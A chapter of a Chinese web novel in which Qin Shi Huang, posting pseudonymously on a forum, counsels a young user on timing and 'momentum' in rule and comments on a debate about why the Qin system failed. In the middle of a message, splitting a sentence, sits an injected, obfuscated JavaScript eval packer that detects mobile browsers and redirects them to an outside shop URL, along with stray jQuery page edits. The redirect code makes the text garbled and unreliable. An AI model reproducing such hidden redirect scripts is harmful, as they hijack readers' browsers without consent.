私信界面的光，在昏暗的书房里静静亮着。
【檐下雀】：谢先生！晚辈愚钝，斗胆再问——若‘剑’是雷霆手段，‘鞘’是怀柔安抚，那么‘执剑’与‘藏锋’的时机，究竟该如何把握？我观史书，唐太宗纳谏如流是为‘鞘’，但玄武门之变却是‘剑’。这其中的度，实在难以捉摸。
嬴政看着这段文字，指尖在案几上轻轻叩击。
嗒。嗒。嗒。
节奏平稳，带着某种思考的韵律。
这个“檐下雀”，比他预想的要敏锐。不仅看了他今天的其他回复，还抓住了核心矛盾——时机。
他想起自己亲政之初，面对嫪毐与吕不韦两座大山。何时该忍？何时该发？忍的时候，被朝野暗讽“年幼可欺”；发的时候，又被诟病“刻薄寡恩”。
哪里有什么绝对的时机。
只有……审时度势。
他抬手，在光幕上回复：
【青耕】：时机在势，不在理。势未至，纵有理亦不可妄动；势已成，纵无理亦当顺势而为。玄武门之事，非太宗择时，乃时势迫之。汝观史，当观其‘势’如何积聚、如何流转，而非仅观其‘事’如何发生。
发送。
几乎是立刻，对面就回了：
【檐下雀】：势……先生的意思是，要先看清楚朝中力量对比、人心向背、甚至天时地利？等到‘势’在我这边，再动手？
嬴政眼中掠过一丝赞许。
孺子可教。
【青耕】：然。然‘势’非天降，亦可人造。积小胜为大胜，聚人心为己用，皆是造势。汝父斥你优柔，或因你只知‘藏’，未见你‘蓄’。
这一次，对面沉默了片刻。
光幕上的“正在输入”提示闪烁了几次，才终于弹出新消息：
【檐下雀】：……先生一针见血。晚辈确实只知避让锋芒，未曾想过主动‘蓄势’。惭愧。
【檐下雀】：还有一事……今日见先生指点赈灾之事，最后那条‘与民共死’，晚辈读之震撼。想请问先生，为君者，当真需要做到如此地步吗？
这个问题，比之前那个更重。
嬴政靠回椅背，墨玉在他膝上换了个姿势，发出舒服的咕噜声。
书房里很静，能听见秋虫在墙根下最后的鸣叫。
需要吗？
他想起统一之初，六国遗民暗流汹涌，刺客不止。有近臣劝他深居简出，增派护卫。他却一次次巡行天下，封禅泰山，渡江祭禹，甚至故意在博浪沙那样易于设伏的地方停留。
为什么？
因为需要让天下人看见：这个新朝的皇帝，不怕。
君王可以死于刺杀，但不能死于畏惧。
“需要。”嬴政低声自语，然后输入：
【青耕】：非常之时，需非常之举。平居之日，君王为舟，民为水；危亡之际，君王为砥柱，民为狂澜。砥柱若先倾，狂澜或可暂缓。此非常态，乃底线。
【青耕】：然，为君者当竭力避免走到那一步。故平日需修德、蓄力、明察、善断。待到需‘与民共死’时，已算失败。
这段话发出去，对面久久没有回应。
嬴政也不急，顺手点开了论坛主界面。一天下来，【治绩点】从0变成了【12】，旁边多了个小小的注释：（根据回复质量、采纳程度及影响力综合计算）。
有什么用？
他点开那个依旧灰色的【兑换区】，只看到一行字：治绩点满100点后解锁。
关掉。
目光扫过【待阅帖子】，一个标题引起了他的注意：
【学术讨论：秦制之得失，究竟在何处？】
发帖人ID：鹄羽。
终于来了。
嬴政点进去。
主楼内容很长，条理清晰，论点鲜明：
“秦以法立国，以耕战强国，十年并天下，其效率毋庸置疑。然则十五年而亡，何也？”
“论者多归咎于严刑峻法、役民过甚。此固然。然更深层之因，窃以为在于‘以治军之法治国’。”
“军法求令行禁止，效率至上，可集中力量办大事，如灭国、筑城、修路。然治国，尤其治新并之天下，需兼容、需安抚、需给时间消化。秦制却将天下视为一座需攻克的大营，民为卒，吏为将，一切以完成‘任务’（赋税、徭役、兵役）为准。”
“如此，高效则高效矣，然毫无弹性。天灾、人怨、局部动荡，在‘军法体系’下皆被视为需剿灭的‘叛乱’，而非需调和的‘问题’。最终矛盾层层上叠，直至天下皆‘叛卒’，体系崩解。”
“故秦之失，非失于法严，而失于将‘治国’错认为‘治军’。此或为后世‘外儒内法’之滥觞——以儒为鞘，藏法家之剑。”
帖子下面已经盖了数十楼，争论激烈。
有赞同的，有反驳的，有引申的。
嬴政一字一句读完，眸色深沉如夜。
厉害。
这个“鹄羽”，眼光毒辣，直指核心。虽然后面那句“外儒内法”的推断有待商榷——他当年可没想过给法家配什么儒家的鞘——但前面的分析，切中了他晚年曾隐约感觉到、却未能完全厘清的困境。
统一后，他确实在用治理秦国、指挥战争的那套方法，来治理一个前所未有的庞大帝国。
效率极高。
后患也极深。
他沉默地看着那些争论，直到一条最新的回复跳出来，来自一个陌生ID：
【史海钩沉】：鹄羽先生高见！不过秦制也并非一无是处吧？书同文、车同轨、行同伦，这可是奠定华夏千年根基的大功业！
【鹄羽】（回复史海钩沉）：功是功，过是过。功业如泰山，不掩其失；过失如江海，不没其功。讨论得失，正是为了看清哪条路能走得更远，而非简单褒贬。
理智，冷静，格局开阔。
嬴政手指动了动。
他有种强烈的、想要加入讨论的冲动。想告诉这个“鹄羽”，当年做出那些决定时的具体考量，面对的现实掣肘，以及……那些未能实现的、关于“弹性”的模糊设想。
但指尖触碰到光幕时，又停住了。
现在他是“青耕”，一个论坛里的指导者，不是嬴政。
他最终只是在那个帖子下，用“青耕”的ID，发了一条简短的回复：
【青耕】：以治军之法治国，可谓确论。然当时之势，六国虽灭，其心未附。缓则生变，急则易崩。两难之间，择其急者。后世观之，易；当时处之，难。
这既是对“鹄羽”的回应，也是……对自己那段过往的一句交代。
发完，他便退出了帖子。
几乎同时，私信提示又亮了。
还是【檐下雀】。
【檐下雀】：先生一席话，如醍醐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114044|195895||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
灌顶。晚辈明白了，为君者当竭力避免走到绝境，但真到了绝境，须有‘与之共死’的担当。此非迂腐，乃定人心、存希望之法。
【檐下雀】：今日受益良多，不敢再叨扰先生。晚辈会仔细琢磨‘蓄势’之道。他日若有所得，再向先生禀报。
很懂分寸。
嬴政回了两个字：
【青耕】：善。
结束私信，他看了眼论坛时间：【亥时初刻】。
窗外早已漆黑一片，星斗满天。现实中的时辰，应该刚到酉时。
“一日……胜读十年书？”嬴政低声重复着这个自嘲的念头，摇了摇头。
何止十年。
他在位三十七年，批阅的奏折、处理的政务、做出的抉择，何止千万。但那些都是自上而下的俯瞰，是冰冷的数字和抽象的策略。
而今天在这个论坛里，他看到的，是一个个具体的人在具体困境中的挣扎、求教、思考。
像隔着无数时空，触摸到了历史的温度。
墨玉“喵”了一声，跳下膝盖，走到门边，回头看他。
饿了。
嬴政失笑，起身：“这就去给你弄鱼。”
走出书房前，他最后看了一眼光幕。
那个关于秦制的帖子，又多了几条新回复。其中一条来自“鹄羽”，就在他刚才那条回复下面：
【鹄羽】（回复青耕）：先生所言‘两难之间，择其急者’，实乃真知灼见。历史洪流中，身处漩涡者，往往别无选择。后人苛责，多因未临其境。
嬴政脚步微顿。
然后，他关上书房的门，将那片莹白的光隔绝在内。
廊下月色如水。
庖厨里，哑巴老叟已经备好了晚膳和墨玉的鱼。看见他来，躬身行了个礼，指了指灶上温着的汤羹。
嬴政颔首，亲自把鱼腹肉剔到墨玉的食碟里。
看着黑猫吃得头也不抬，他忽然开口，声音很轻：“你说，若当年……也有这样一个地方，能听听旁人如何看秦政，如何看朕……”
话没说完，自己先摇了摇头。
哑巴老叟听不见，只安静地盛好粥，退到一旁。
嬴政慢慢用完晚膳，洗漱，回到寝殿。
躺下时，窗外传来隐约的更鼓声——山下县城的。
二更天了。
他闭上眼，脑子里却不受控制地闪过论坛里那些文字：饥荒、打瞌睡的老臣、被兄弟夺宠的王子、优柔寡断的太子……还有“鹄羽”那段关于秦制的犀利剖析。
最后定格在私信里，“檐下雀”那句“与民共死的担当”。
许久，黑暗中传来一声几不可闻的叹息。
然后，是均匀的呼吸声。
---
书房里。
光幕依旧亮着。
在嬴政退出后，论坛依然活跃。
那个关于秦制的帖子下面，又多了一条来自“鹄羽”的发言，这次是私信般的低语，未被其他人看到：
【鹄羽】：青耕先生……您究竟是谁？对秦政得失，竟有如此切肤之痛、又如此冷静克制的见解。真乃……奇人。
光幕莹莹，映照着空无一人的书房。
窗外，骊山沉睡在秋夜里。
而无数时空之外，一些人的命运，或许已经因为今天收到的某条回复，发生了微不可察的偏转。
---